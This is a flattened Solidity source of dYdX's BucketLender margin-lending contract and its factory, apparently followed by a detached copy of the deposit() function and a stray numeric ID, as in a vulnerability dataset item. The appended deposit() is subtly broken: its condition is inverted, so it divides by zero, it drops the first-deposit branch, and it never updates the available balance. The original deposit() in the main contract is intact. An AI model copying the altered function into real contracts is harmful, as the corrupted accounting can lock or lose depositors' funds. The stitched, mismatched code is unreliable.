loanOffering.rates.minHeldToken = values256[2]; loanOffering.rates.lenderFee = values256[3]; loanOffering.rates.takerFee = values256[4]; loanOffering.expirationTimestamp = values256[5]; loanOffering.salt = values256[6]; } function fillLoanOfferingValues32( MarginCommon.LoanOffering memory loanOffering, uint32[4] values32 ) private pure { loanOffering.callTimeLimit = values32[0]; loanOffering.maxDuration = values32[1]; loanOffering.rates.interestRate = values32[2]; loanOffering.rates.interestPeriod = values32[3]; } } // File: contracts/margin/external/lib/MarginHelper.sol /** * @title MarginHelper * @author dYdX * * This library contains helper functions for interacting with Margin */ library MarginHelper { function getPosition( address DYDX_MARGIN, bytes32 positionId ) internal view returns (MarginCommon.Position memory) { ( address[4] memory addresses, uint256[2] memory values256, uint32[6] memory values32 ) = Margin(DYDX_MARGIN).getPosition(positionId); return MarginCommon.Position({ owedToken: addresses[0], heldToken: addresses[1], lender: addresses[2], owner: addresses[3], principal: values256[0], requiredDeposit: values256[1], callTimeLimit: values32[0], startTimestamp: values32[1], callTimestamp: values32[2], maxDuration: values32[3], interestRate: values32[4], interestPeriod: values32[5] }); } } // File: contracts/margin/external/BucketLender/BucketLender.sol /** * @title BucketLender * @author dYdX * * On-chain shared lender that allows anyone to deposit tokens into this contract to be used to * lend tokens for a particular margin position. * * - Each bucket has three variables: * - Available Amount * - The available amount of tokens that the bucket has to lend out * - Outstanding Principal * - The amount of principal that the bucket is responsible for in the margin position * - Weight * - Used to keep track of each account's weighted ownership within a bucket * - Relative weight between buckets is meaningless * - Only accounts' relative weight within a bucket matters * * - Token Deposits: * - Go into a particular bucket, determined by time since the start of the position * - If the position has not started: bucket = 0 * - If the position has started: bucket = ceiling(time_since_start / BUCKET_TIME) * - This is always the highest bucket; no higher bucket yet exists * - Increase the bucket's Available Amount * - Increase the bucket's weight and the account's weight in that bucket * * - Token Withdrawals: * - Can be from any bucket with available amount * - Decrease the bucket's Available Amount * - Decrease the bucket's weight and the account's weight in that bucket * * - Increasing the Position (Lending): * - The lowest buckets with Available Amount are used first * - Decreases Available Amount * - Increases Outstanding Principal * * - Decreasing the Position (Being Paid-Back) * - The highest buckets with Outstanding Principal are paid back first * - Decreases Outstanding Principal * - Increases Available Amount * * * - Over time, this gives highest interest rates to earlier buckets, but disallows withdrawals from * those buckets for a longer period of time. * - Deposits in the same bucket earn the same interest rate. * - Lenders can withdraw their funds at any time if they are not being lent (and are therefore not * making the maximum interest). * - The highest bucket with Outstanding Principal is always less-than-or-equal-to the lowest bucket with Available Amount */ contract BucketLender is Ownable, OnlyMargin, LoanOwner, IncreaseLoanDelegator, MarginCallDelegator, CancelMarginCallDelegator, ForceRecoverCollateralDelegator, LoanOfferingParser, LoanOfferingVerifier, ReentrancyGuard { using SafeMath for uint256; using TokenInteract for address; // ============ Events ============ event Deposit( address indexed beneficiary, uint256 bucket, uint256 amount, uint256 weight ); event Withdraw( address indexed withdrawer, uint256 bucket, uint256 weight, uint256 owedTokenWithdrawn, uint256 heldTokenWithdrawn ); event PrincipalIncreased( uint256 principalTotal, uint256 bucketNumber, uint256 principalForBucket, uint256 amount ); event PrincipalDecreased( uint256 principalTotal, uint256 bucketNumber, uint256 principalForBucket, uint256 amount ); event AvailableIncreased( uint256 availableTotal, uint256 bucketNumber, uint256 availableForBucket, uint256 amount ); event AvailableDecreased( uint256 availableTotal, uint256 bucketNumber, uint256 availableForBucket, uint256 amount ); // ============ State Variables ============ /** * Available Amount is the amount of tokens that is available to be lent by each bucket. * These tokens are also available to be withdrawn by the accounts that have weight in the * bucket. */ // Available Amount for each bucket mapping(uint256 => uint256) public availableForBucket; // Total Available Amount uint256 public availableTotal; /** * Outstanding Principal is the share of the margin position's principal that each bucket * is responsible for. That is, each bucket with Outstanding Principal is owed * (Outstanding Principal)*E^(RT) owedTokens in repayment. */ // Outstanding Principal for each bucket mapping(uint256 => uint256) public principalForBucket; // Total Outstanding Principal uint256 public principalTotal; /** * Weight determines an account's proportional share of a bucket. Relative weights have no * meaning if they are not for the same bucket. Likewise, the relative weight of two buckets has * no meaning. However, the relative weight of two accounts within the same bucket is equal to * the accounts' shares in the bucket and are therefore proportional to the payout that they * should expect from withdrawing from that bucket. */ // Weight for each account in each bucket mapping(uint256 => mapping(address => uint256)) public weightForBucketForAccount; // Total Weight for each bucket mapping(uint256 => uint256) public weightForBucket; /** * The critical bucket is: * - Greater-than-or-equal-to The highest bucket with Outstanding Principal * - Less-than-or-equal-to the lowest bucket with Available Amount * * It is equal to both of these values in most cases except in an edge cases where the two * buckets are different. This value is cached to find such a bucket faster than looping through * all possible buckets. */ uint256 public criticalBucket = 0; /** * Latest cached value for totalOwedTokenRepaidToLender. * This number updates on the dYdX Margin base protocol whenever the position is * partially-closed, but this contract is not notified at that time. Therefore, it is updated * upon increasing the position or when depositing/withdrawing */ uint256 public cachedRepaidAmount = 0; // True if the position was closed from force-recovering the collateral bool public wasForceClosed = false; // ============ Constants ============ // Unique ID of the position bytes32 public POSITION_ID; // Address of the token held in the position as collateral address public HELD_TOKEN; // Address of the token being lent address public OWED_TOKEN; // Time between new buckets uint32 public BUCKET_TIME; // Interest rate of the position uint32 public INTEREST_RATE; // Interest period of the position uint32 public INTEREST_PERIOD; // Maximum duration of the position uint32 public MAX_DURATION; // Margin-call time-limit of the position uint32 public CALL_TIMELIMIT; // (NUMERATOR/DENOMINATOR) denotes the minimum collateralization ratio of the position uint32 public MIN_HELD_TOKEN_NUMERATOR; uint32 public MIN_HELD_TOKEN_DENOMINATOR; // Accounts that are permitted to margin-call positions (or cancel the margin call) mapping(address => bool) public TRUSTED_MARGIN_CALLERS; // Accounts that are permitted to withdraw on behalf of any address mapping(address => bool) public TRUSTED_WITHDRAWERS; // ============ Constructor ============ constructor( address margin, bytes32 positionId, address heldToken, address owedToken, uint32[7] parameters, address[] trustedMarginCallers, address[] trustedWithdrawers ) public OnlyMargin(margin) { POSITION_ID = positionId; HELD_TOKEN = heldToken; OWED_TOKEN = owedToken; require( parameters[0] != 0, "BucketLender#constructor: BUCKET_TIME cannot be zero" ); BUCKET_TIME = parameters[0]; INTEREST_RATE = parameters[1]; INTEREST_PERIOD = parameters[2]; MAX_DURATION = parameters[3]; CALL_TIMELIMIT = parameters[4]; MIN_HELD_TOKEN_NUMERATOR = parameters[5]; MIN_HELD_TOKEN_DENOMINATOR = parameters[6]; // Initialize TRUSTED_MARGIN_CALLERS and TRUSTED_WITHDRAWERS uint256 i = 0; for (i = 0; i < trustedMarginCallers.length; i++) { TRUSTED_MARGIN_CALLERS[trustedMarginCallers[i]] = true; } for (i = 0; i < trustedWithdrawers.length; i++) { TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true; } // Set maximum allowance on proxy OWED_TOKEN.approve( Margin(margin).getTokenProxyAddress(), MathHelpers.maxUint256() ); } // ============ Modifiers ============ modifier onlyPosition(bytes32 positionId) { require( POSITION_ID == positionId, "BucketLender#onlyPosition: Incorrect position" ); _; } // ============ Margin-Only State-Changing Functions ============ /** * Function a smart contract must implement to be able to consent to a loan. The loan offering * will be generated off-chain. The "loan owner" address will own the loan-side of the resulting * position. * * @param addresses Loan offering addresses * @param values256 Loan offering uint256s * @param values32 Loan offering uint32s * @param positionId Unique ID of the position * @param signature Arbitrary bytes * @return This address to accept, a different address to ask that contract */ function verifyLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( Margin(DYDX_MARGIN).containsPosition(POSITION_ID), "BucketLender#verifyLoanOffering: This contract should not open a new position" ); MarginCommon.LoanOffering memory loanOffering = parseLoanOffering( addresses, values256, values32, signature ); // CHECK ADDRESSES assert(loanOffering.owedToken == OWED_TOKEN); assert(loanOffering.heldToken == HELD_TOKEN); assert(loanOffering.payer == address(this)); assert(loanOffering.owner == address(this)); require( loanOffering.taker == address(0), "BucketLender#verifyLoanOffering: loanOffering.taker is non-zero" ); require( loanOffering.feeRecipient == address(0), "BucketLender#verifyLoanOffering: loanOffering.feeRecipient is non-zero" ); require( loanOffering.positionOwner == address(0), "BucketLender#verifyLoanOffering: loanOffering.positionOwner is non-zero" ); require( loanOffering.lenderFeeToken == address(0), "BucketLender#verifyLoanOffering: loanOffering.lenderFeeToken is non-zero" ); require( loanOffering.takerFeeToken == address(0), "BucketLender#verifyLoanOffering: loanOffering.takerFeeToken is non-zero" ); // CHECK VALUES256 require( loanOffering.rates.maxAmount == MathHelpers.maxUint256(), "BucketLender#verifyLoanOffering: loanOffering.maxAmount is incorrect" ); require( loanOffering.rates.minAmount == 0, "BucketLender#verifyLoanOffering: loanOffering.minAmount is non-zero" ); require( loanOffering.rates.minHeldToken == 0, "BucketLender#verifyLoanOffering: loanOffering.minHeldToken is non-zero" ); require( loanOffering.rates.lenderFee == 0, "BucketLender#verifyLoanOffering: loanOffering.lenderFee is non-zero" ); require( loanOffering.rates.takerFee == 0, "BucketLender#verifyLoanOffering: loanOffering.takerFee is non-zero" ); require( loanOffering.expirationTimestamp == MathHelpers.maxUint256(), "BucketLender#verifyLoanOffering: expirationTimestamp is incorrect" ); require( loanOffering.salt == 0, "BucketLender#verifyLoanOffering: loanOffering.salt is non-zero" ); // CHECK VALUES32 require( loanOffering.callTimeLimit == MathHelpers.maxUint32(), "BucketLender#verifyLoanOffering: loanOffering.callTimelimit is incorrect" ); require( loanOffering.maxDuration == MathHelpers.maxUint32(), "BucketLender#verifyLoanOffering: loanOffering.maxDuration is incorrect" ); assert(loanOffering.rates.interestRate == INTEREST_RATE); assert(loanOffering.rates.interestPeriod == INTEREST_PERIOD); // no need to require anything about loanOffering.signature return address(this); } /** * Called by the Margin contract when anyone transfers ownership of a loan to this contract. * This function initializes this contract and returns this address to indicate to Margin * that it is willing to take ownership of the loan. * * @param from Address of the previous owner * @param positionId Unique ID of the position * @return This address on success, throw otherwise */ function receiveLoanOwnership( address from, bytes32 positionId ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID); uint256 initialPrincipal = position.principal; uint256 minHeldToken = MathHelpers.getPartialAmount( uint256(MIN_HELD_TOKEN_NUMERATOR), uint256(MIN_HELD_TOKEN_DENOMINATOR), initialPrincipal ); assert(initialPrincipal > 0); assert(principalTotal == 0); assert(from != address(this)); // position must be opened without lending from this position require( position.owedToken == OWED_TOKEN, "BucketLender#receiveLoanOwnership: Position owedToken mismatch" ); require( position.heldToken == HELD_TOKEN, "BucketLender#receiveLoanOwnership: Position heldToken mismatch" ); require( position.maxDuration == MAX_DURATION, "BucketLender#receiveLoanOwnership: Position maxDuration mismatch" ); require( position.callTimeLimit == CALL_TIMELIMIT, "BucketLender#receiveLoanOwnership: Position callTimeLimit mismatch" ); require( position.interestRate == INTEREST_RATE, "BucketLender#receiveLoanOwnership: Position interestRate mismatch" ); require( position.interestPeriod == INTEREST_PERIOD, "BucketLender#receiveLoanOwnership: Position interestPeriod mismatch" ); require( Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID) >= minHeldToken, "BucketLender#receiveLoanOwnership: Not enough heldToken as collateral" ); // set relevant constants principalForBucket[0] = initialPrincipal; principalTotal = initialPrincipal; weightForBucket[0] = weightForBucket[0].add(initialPrincipal); weightForBucketForAccount[0][from] = weightForBucketForAccount[0][from].add(initialPrincipal); return address(this); } /** * Called by Margin when additional value is added onto the position this contract * is lending for. Balance is added to the address that loaned the additional tokens. * * @param payer Address that loaned the additional tokens * @param positionId Unique ID of the position * @param principalAdded Amount that was added to the position * @param lentAmount Amount of owedToken lent * @return This address to accept, a different address to ask that contract */ function increaseLoanOnBehalfOf( address payer, bytes32 positionId, uint256 principalAdded, uint256 lentAmount ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { Margin margin = Margin(DYDX_MARGIN); require( payer == address(this), "BucketLender#increaseLoanOnBehalfOf: Other lenders cannot lend for this position" ); require( !margin.isPositionCalled(POSITION_ID), "BucketLender#increaseLoanOnBehalfOf: No lending while the position is margin-called" ); // This function is only called after the state has been updated in the base protocol; // thus, the principal in the base protocol will equal the principal after the increase uint256 principalAfterIncrease = margin.getPositionPrincipal(POSITION_ID); uint256 principalBeforeIncrease = principalAfterIncrease.sub(principalAdded); // principalTotal was the principal after the previous increase accountForClose(principalTotal.sub(principalBeforeIncrease)); accountForIncrease(principalAdded, lentAmount); assert(principalTotal == principalAfterIncrease); return address(this); } /** * Function a contract must implement in order to let other addresses call marginCall(). * * @param caller Address of the caller of the marginCall function * @param positionId Unique ID of the position * @param depositAmount Amount of heldToken deposit that will be required to cancel the call * @return This address to accept, a different address to ask that contract */ function marginCallOnBehalfOf( address caller, bytes32 positionId, uint256 depositAmount ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( TRUSTED_MARGIN_CALLERS[caller], "BucketLender#marginCallOnBehalfOf: Margin-caller must be trusted" ); require( depositAmount == 0, // prevents depositing from canceling the margin-call "BucketLender#marginCallOnBehalfOf: Deposit amount must be zero" ); return address(this); } /** * Function a contract must implement in order to let other addresses call cancelMarginCall(). * * @param canceler Address of the caller of the cancelMarginCall function * @param positionId Unique ID of the position * @return This address to accept, a different address to ask that contract */ function cancelMarginCallOnBehalfOf( address canceler, bytes32 positionId ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { require( TRUSTED_MARGIN_CALLERS[canceler], "BucketLender#cancelMarginCallOnBehalfOf: Margin-call-canceler must be trusted" ); return address(this); } /** * Function a contract must implement in order to let other addresses call * forceRecoverCollateral(). * * param recoverer Address of the caller of the forceRecoverCollateral() function * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return This address to accept, a different address to ask that contract */ function forceRecoverCollateralOnBehalfOf( address /* recoverer */, bytes32 positionId, address recipient ) external onlyMargin nonReentrant onlyPosition(positionId) returns (address) { return forceRecoverCollateralInternal(recipient); } // ============ Public State-Changing Functions ============ /** * Allow anyone to recalculate the Outstanding Principal and Available Amount for the buckets if * part of the position has been closed since the last position increase. */ function rebalanceBuckets() external nonReentrant { rebalanceBucketsInternal(); } /** * Allows users to deposit owedToken into this contract. Allowance must be set on this contract * for "token" in at least the amount "amount". * * @param beneficiary The account that will be entitled to this depoit * @param amount The amount of owedToken to deposit * @return The bucket number that was deposited into */ function deposit( address beneficiary, uint256 amount ) external nonReentrant returns (uint256) { Margin margin = Margin(DYDX_MARGIN); bytes32 positionId = POSITION_ID; require( beneficiary != address(0), "BucketLender#deposit: Beneficiary cannot be the zero address" ); require( amount != 0, "BucketLender#deposit: Cannot deposit zero tokens" ); require( !margin.isPositionClosed(positionId), "BucketLender#deposit: Cannot deposit after the position is closed" ); require( !margin.isPositionCalled(positionId), "BucketLender#deposit: Cannot deposit while the position is margin-called" ); rebalanceBucketsInternal(); OWED_TOKEN.transferFrom( msg.sender, address(this), amount ); uint256 bucket = getCurrentBucket(); uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket)); uint256 weightToAdd = 0; if (effectiveAmount == 0) { weightToAdd = amount; // first deposit in bucket } else { weightToAdd = MathHelpers.getPartialAmount( amount, effectiveAmount, weightForBucket[bucket] ); } require( weightToAdd != 0, "BucketLender#deposit: Cannot deposit for zero weight" ); // update state updateAvailable(bucket, amount, true); weightForBucketForAccount[bucket][beneficiary] = weightForBucketForAccount[bucket][beneficiary].add(weightToAdd); weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd); emit Deposit( beneficiary, bucket, amount, weightToAdd ); return bucket; } /** * Allows users to withdraw their lent funds. An account can withdraw its weighted share of the * bucket. * * While the position is open, a bucket's share is equal to: * Owed Token: (Available Amount) + (Outstanding Principal) * (1 + interest) * Held Token: 0 * * After the position is closed, a bucket's share is equal to: * Owed Token: (Available Amount) * Held Token: (Held Token Balance) * (Outstanding Principal) / (Total Outstanding Principal) * * @param buckets The bucket numbers to withdraw from * @param maxWeights The maximum weight to withdraw from each bucket. The amount of tokens * withdrawn will be at least this amount, but not necessarily more. * Withdrawing the same weight from different buckets does not necessarily * return the same amounts from those buckets. In order to withdraw as many * tokens as possible, use the maximum uint256. * @param onBehalfOf The address to withdraw on behalf of * @return 1) The number of owedTokens withdrawn * 2) The number of heldTokens withdrawn */ function withdraw( uint256[] buckets, uint256[] maxWeights, address onBehalfOf ) external nonReentrant returns (uint256, uint256) { require( buckets.length == maxWeights.length, "BucketLender#withdraw: The lengths of the input arrays must match" ); if (onBehalfOf != msg.sender) { require( TRUSTED_WITHDRAWERS[msg.sender], "BucketLender#withdraw: Only trusted withdrawers can withdraw on behalf of others" ); } rebalanceBucketsInternal(); // decide if some bucket is unable to be withdrawn from (is locked) // the zero value represents no-lock uint256 lockedBucket = 0; if ( Margin(DYDX_MARGIN).containsPosition(POSITION_ID) && criticalBucket == getCurrentBucket() ) { lockedBucket = criticalBucket; } uint256[2] memory results; // [0] = totalOwedToken, [1] = totalHeldToken uint256 maxHeldToken = 0; if (wasForceClosed) { maxHeldToken = HELD_TOKEN.balanceOf(address(this)); } for (uint256 i = 0; i < buckets.length; i++) { uint256 bucket = buckets[i]; // prevent withdrawing from the current bucket if it is also the critical bucket if ((bucket != 0) && (bucket == lockedBucket)) { continue; } (uint256 owedTokenForBucket, uint256 heldTokenForBucket) = withdrawSingleBucket( onBehalfOf, bucket, maxWeights[i], maxHeldToken ); results[0] = results[0].add(owedTokenForBucket); results[1] = results[1].add(heldTokenForBucket); } // Transfer share of owedToken OWED_TOKEN.transfer(msg.sender, results[0]); HELD_TOKEN.transfer(msg.sender, results[1]); return (results[0], results[1]); } /** * Allows the owner to withdraw any excess tokens sent to the vault by unconventional means, * including (but not limited-to) token airdrops. Any tokens moved to this contract by calling * deposit() will be accounted for and will not be withdrawable by this function. * * @param token ERC20 token address * @param to Address to transfer tokens to * @return Amount of tokens withdrawn */ function withdrawExcessToken( address token, address to ) external onlyOwner returns (uint256) { rebalanceBucketsInternal(); uint256 amount = token.balanceOf(address(this)); if (token == OWED_TOKEN) { amount = amount.sub(availableTotal); } else if (token == HELD_TOKEN) { require( !wasForceClosed, "BucketLender#withdrawExcessToken: heldToken cannot be withdrawn if force-closed" ); } token.transfer(to, amount); return amount; } // ============ Public Getter Functions ============ /** * Get the current bucket number that funds will be deposited into. This is also the highest * bucket so far. * * @return The highest bucket and the one that funds will be deposited into */ function getCurrentBucket() public view returns (uint256) { // load variables from storage; Margin margin = Margin(DYDX_MARGIN); bytes32 positionId = POSITION_ID; uint32 bucketTime = BUCKET_TIME; assert(!margin.isPositionClosed(positionId)); // if position not created, allow deposits in the first bucket if (!margin.containsPosition(positionId)) { return 0; } // return the number of BUCKET_TIME periods elapsed since the position start, rounded-up uint256 startTimestamp = margin.getPositionStartTimestamp(positionId); return block.timestamp.sub(startTimestamp).div(bucketTime).add(1); } /** * Gets the outstanding amount of owedToken owed to a bucket. This is the principal amount of * the bucket multiplied by the interest accrued in the position. If the position is closed, * then any outstanding principal will never be repaid in the form of owedToken. * * @param bucket The bucket number * @return The amount of owedToken that this bucket expects to be paid-back if the posi */ function getBucketOwedAmount( uint256 bucket ) public view returns (uint256) { // if the position is completely closed, then the outstanding principal will never be repaid if (Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) { return 0; } uint256 lentPrincipal = principalForBucket[bucket]; // the bucket has no outstanding principal if (lentPrincipal == 0) { return 0; } // get the total amount of owedToken that would be paid back at this time uint256 owedAmount = Margin(DYDX_MARGIN).getPositionOwedAmountAtTime( POSITION_ID, principalTotal, uint32(block.timestamp) ); // return the bucket's share return MathHelpers.getPartialAmount( lentPrincipal, principalTotal, owedAmount ); } // ============ Internal Functions ============ function forceRecoverCollateralInternal( address recipient ) internal returns (address) { require( recipient == address(this), "BucketLender#forceRecoverCollateralOnBehalfOf: Recipient must be this contract" ); rebalanceBucketsInternal(); wasForceClosed = true; return address(this); } // ============ Private Helper Functions ============ /** * Recalculates the Outstanding Principal and Available Amount for the buckets. Only changes the * state if part of the position has been closed since the last position increase. */ function rebalanceBucketsInternal() private { // if force-closed, don't update the outstanding principal values; they are needed to repay // lenders with heldToken if (wasForceClosed) { return; } uint256 marginPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(POSITION_ID); accountForClose(principalTotal.sub(marginPrincipal)); assert(principalTotal == marginPrincipal); } /** * Updates the state variables at any time. Only does anything after the position has been * closed or partially-closed since the last time this function was called. * * - Increases the available amount in the highest buckets with outstanding principal * - Decreases the principal amount in those buckets * * @param principalRemoved Amount of principal closed since the last update */ function accountForClose( uint256 principalRemoved ) private { if (principalRemoved == 0) { return; } uint256 newRepaidAmount = Margin(DYDX_MARGIN).getTotalOwedTokenRepaidToLender(POSITION_ID); assert(newRepaidAmount.sub(cachedRepaidAmount) >= principalRemoved); uint256 principalToSub = principalRemoved; uint256 availableToAdd = newRepaidAmount.sub(cachedRepaidAmount); uint256 criticalBucketTemp = criticalBucket; // loop over buckets in reverse order starting with the critical bucket for ( uint256 bucket = criticalBucketTemp; principalToSub > 0; bucket-- ) { assert(bucket <= criticalBucketTemp); // no underflow on bucket uint256 principalTemp = Math.min256(principalToSub, principalForBucket[bucket]); if (principalTemp == 0) { continue; } uint256 availableTemp = MathHelpers.getPartialAmount( principalTemp, principalToSub, availableToAdd ); updateAvailable(bucket, availableTemp, true); updatePrincipal(bucket, principalTemp, false); principalToSub = principalToSub.sub(principalTemp); availableToAdd = availableToAdd.sub(availableTemp); criticalBucketTemp = bucket; } assert(principalToSub == 0); assert(availableToAdd == 0); setCriticalBucket(criticalBucketTemp); cachedRepaidAmount = newRepaidAmount; } /** * Updates the state variables when a position is increased. * * - Decreases the available amount in the lowest buckets with available token * - Increases the principal amount in those buckets * * @param principalAdded Amount of principal added to the position * @param lentAmount Amount of owedToken lent */ function accountForIncrease( uint256 principalAdded, uint256 lentAmount ) private { require( lentAmount <= availableTotal, "BucketLender#accountForIncrease: No lending not-accounted-for funds" ); uint256 principalToAdd = principalAdded; uint256 availableToSub = lentAmount; uint256 criticalBucketTemp; // loop over buckets in order starting from the critical bucket uint256 lastBucket = getCurrentBucket(); for ( uint256 bucket = criticalBucket; principalToAdd > 0; bucket++ ) { assert(bucket <= lastBucket); // should never go past the last bucket uint256 availableTemp = Math.min256(availableToSub, availableForBucket[bucket]); if (availableTemp == 0) { continue; } uint256 principalTemp = MathHelpers.getPartialAmount( availableTemp, availableToSub, principalToAdd ); updateAvailable(bucket, availableTemp, false); updatePrincipal(bucket, principalTemp, true); principalToAdd = principalToAdd.sub(principalTemp); availableToSub = availableToSub.sub(availableTemp); criticalBucketTemp = bucket; } assert(principalToAdd == 0); assert(availableToSub == 0); setCriticalBucket(criticalBucketTemp); } /** * Withdraw * * @param onBehalfOf The account for which to withdraw for * @param bucket The bucket number to withdraw from * @param maxWeight The maximum weight to withdraw * @param maxHeldToken The total amount of heldToken that has been force-recovered * @return 1) The number of owedTokens withdrawn * 2) The number of heldTokens withdrawn */ function withdrawSingleBucket( address onBehalfOf, uint256 bucket, uint256 maxWeight, uint256 maxHeldToken ) private returns (uint256, uint256) { // calculate the user's share uint256 bucketWeight = weightForBucket[bucket]; if (bucketWeight == 0) { return (0, 0); } uint256 userWeight = weightForBucketForAccount[bucket][onBehalfOf]; uint256 weightToWithdraw = Math.min256(maxWeight, userWeight); if (weightToWithdraw == 0) { return (0, 0); } // update state weightForBucket[bucket] = weightForBucket[bucket].sub(weightToWithdraw); weightForBucketForAccount[bucket][onBehalfOf] = userWeight.sub(weightToWithdraw); // calculate for owedToken uint256 owedTokenToWithdraw = withdrawOwedToken( bucket, weightToWithdraw, bucketWeight ); // calculate for heldToken uint256 heldTokenToWithdraw = withdrawHeldToken( bucket, weightToWithdraw, bucketWeight, maxHeldToken ); emit Withdraw( onBehalfOf, bucket, weightToWithdraw, owedTokenToWithdraw, heldTokenToWithdraw ); return (owedTokenToWithdraw, heldTokenToWithdraw); } /** * Helper function to withdraw earned owedToken from this contract. * * @param bucket The bucket number to withdraw from * @param userWeight The amount of weight the user is using to withdraw * @param bucketWeight The total weight of the bucket * @return The amount of owedToken being withdrawn */ function withdrawOwedToken( uint256 bucket, uint256 userWeight, uint256 bucketWeight ) private returns (uint256) { // amount to return for the bucket uint256 owedTokenToWithdraw = MathHelpers.getPartialAmount( userWeight, bucketWeight, availableForBucket[bucket].add(getBucketOwedAmount(bucket)) ); // check that there is enough token to give back require( owedTokenToWithdraw <= availableForBucket[bucket], "BucketLender#withdrawOwedToken: There must be enough available owedToken" ); // update amounts updateAvailable(bucket, owedTokenToWithdraw, false); return owedTokenToWithdraw; } /** * Helper function to withdraw heldToken from this contract. * * @param bucket The bucket number to withdraw from * @param userWeight The amount of weight the user is using to withdraw * @param bucketWeight The total weight of the bucket * @param maxHeldToken The total amount of heldToken available to withdraw * @return The amount of heldToken being withdrawn */ function withdrawHeldToken( uint256 bucket, uint256 userWeight, uint256 bucketWeight, uint256 maxHeldToken ) private returns (uint256) { if (maxHeldToken == 0) { return 0; } // user's principal for the bucket uint256 principalForBucketForAccount = MathHelpers.getPartialAmount( userWeight, bucketWeight, principalForBucket[bucket] ); uint256 heldTokenToWithdraw = MathHelpers.getPartialAmount( principalForBucketForAccount, principalTotal, maxHeldToken ); updatePrincipal(bucket, principalForBucketForAccount, false); return heldTokenToWithdraw; } // ============ Setter Functions ============ /** * Changes the critical bucket variable * * @param bucket The value to set criticalBucket to */ function setCriticalBucket( uint256 bucket ) private { // don't spend the gas to sstore unless we need to change the value if (criticalBucket == bucket) { return; } criticalBucket = bucket; } /** * Changes the available owedToken amount. This changes both the variable to track the total * amount as well as the variable to track a particular bucket. * * @param bucket The bucket number * @param amount The amount to change the available amount by * @param increase True if positive change, false if negative change */ function updateAvailable( uint256 bucket, uint256 amount, bool increase ) private { if (amount == 0) { return; } uint256 newTotal; uint256 newForBucket; if (increase) { newTotal = availableTotal.add(amount); newForBucket = availableForBucket[bucket].add(amount); emit AvailableIncreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } else { newTotal = availableTotal.sub(amount); newForBucket = availableForBucket[bucket].sub(amount); emit AvailableDecreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } availableTotal = newTotal; availableForBucket[bucket] = newForBucket; } /** * Changes the principal amount. This changes both the variable to track the total * amount as well as the variable to track a particular bucket. * * @param bucket The bucket number * @param amount The amount to change the principal amount by * @param increase True if positive change, false if negative change */ function updatePrincipal( uint256 bucket, uint256 amount, bool increase ) private { if (amount == 0) { return; } uint256 newTotal; uint256 newForBucket; if (increase) { newTotal = principalTotal.add(amount); newForBucket = principalForBucket[bucket].add(amount); emit PrincipalIncreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } else { newTotal = principalTotal.sub(amount); newForBucket = principalForBucket[bucket].sub(amount); emit PrincipalDecreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } principalTotal = newTotal; principalForBucket[bucket] = newForBucket; } } // File: contracts/margin/external/BucketLender/BucketLenderFactory.sol /** * @title BucketLenderFactory * @author dYdX * * Contract that allows anyone to deploy a BucketLender contract by sending a transaction. */ contract BucketLenderFactory { // ============ Events ============ event BucketLenderCreated( address indexed creator, address indexed owner, bytes32 indexed positionId, address at ); // ============ State Variables ============ // Address of the Margin contract for the dYdX Margin Trading Protocol address public DYDX_MARGIN; // ============ Constructor ============ constructor( address margin ) public { DYDX_MARGIN = margin; } // ============ Public Functions ============ /** * Deploy a new BucketLender contract to the blockchain * * @param positionId Unique ID of the position * @param owner Address to which ownership of the BucketLender will be transferred * @param heldToken Address of the token held in the position as collateral * @param owedToken Address of the token being lent by the BucketLender * @param parameters Values corresponding to: * * [0] = number of seconds per bucket * [1] = interest rate * [2] = interest period * [3] = maximum loan duration * [4] = margin-call timelimit * [5] = numerator of minimum heldToken-per-owedToken * [6] = denominator of minimum heldToken-per-owedToken * * @param marginCallers Accounts that are permitted to margin-call positions (or cancel the margin call) * @return The address of the new BucketLender contract */ function createBucketLender( bytes32 positionId, address owner, address heldToken, address owedToken, uint32[7] parameters, address[] marginCallers, address[] withdrawers ) external returns (address) { address newBucketLender = new BucketLender( DYDX_MARGIN, positionId, heldToken, owedToken, parameters, marginCallers, withdrawers ); BucketLender(newBucketLender).transferOwnership(owner); emit BucketLenderCreated( msg.sender, owner, positionId, newBucketLender ); return newBucketLender; } }
* Allows users to deposit owedToken into this contract. Allowance must be set on this contract for "token" in at least the amount "amount". @param beneficiary The account that will be entitled to this depoit @param amount The amount of owedToken to deposit @return The bucket number that was deposited into/
function deposit( address beneficiary, uint256 amount ) external nonReentrant returns (uint256) { Margin margin = Margin(DYDX_MARGIN); bytes32 positionId = POSITION_ID; require( beneficiary != address(0), "BucketLender#deposit: Beneficiary cannot be the zero address" ); require( amount != 0, "BucketLender#deposit: Cannot deposit zero tokens" ); require( !margin.isPositionClosed(positionId), "BucketLender#deposit: Cannot deposit after the position is closed" ); require( !margin.isPositionCalled(positionId), "BucketLender#deposit: Cannot deposit while the position is margin-called" ); rebalanceBucketsInternal(); OWED_TOKEN.transferFrom( msg.sender, address(this), amount ); uint256 bucket = getCurrentBucket(); uint256 effectiveAmount = availableForBucket[bucket].add(getBucketOwedAmount(bucket)); uint256 weightToAdd = 0; if (effectiveAmount == 0) { weightToAdd = MathHelpers.getPartialAmount( amount, effectiveAmount, weightForBucket[bucket] ); } require( weightToAdd != 0, "BucketLender#deposit: Cannot deposit for zero weight" ); weightForBucketForAccount[bucket][beneficiary] = weightForBucketForAccount[bucket][beneficiary].add(weightToAdd); weightForBucket[bucket] = weightForBucket[bucket].add(weightToAdd); emit Deposit( beneficiary, bucket, amount, weightToAdd ); return bucket; }
1,594,193
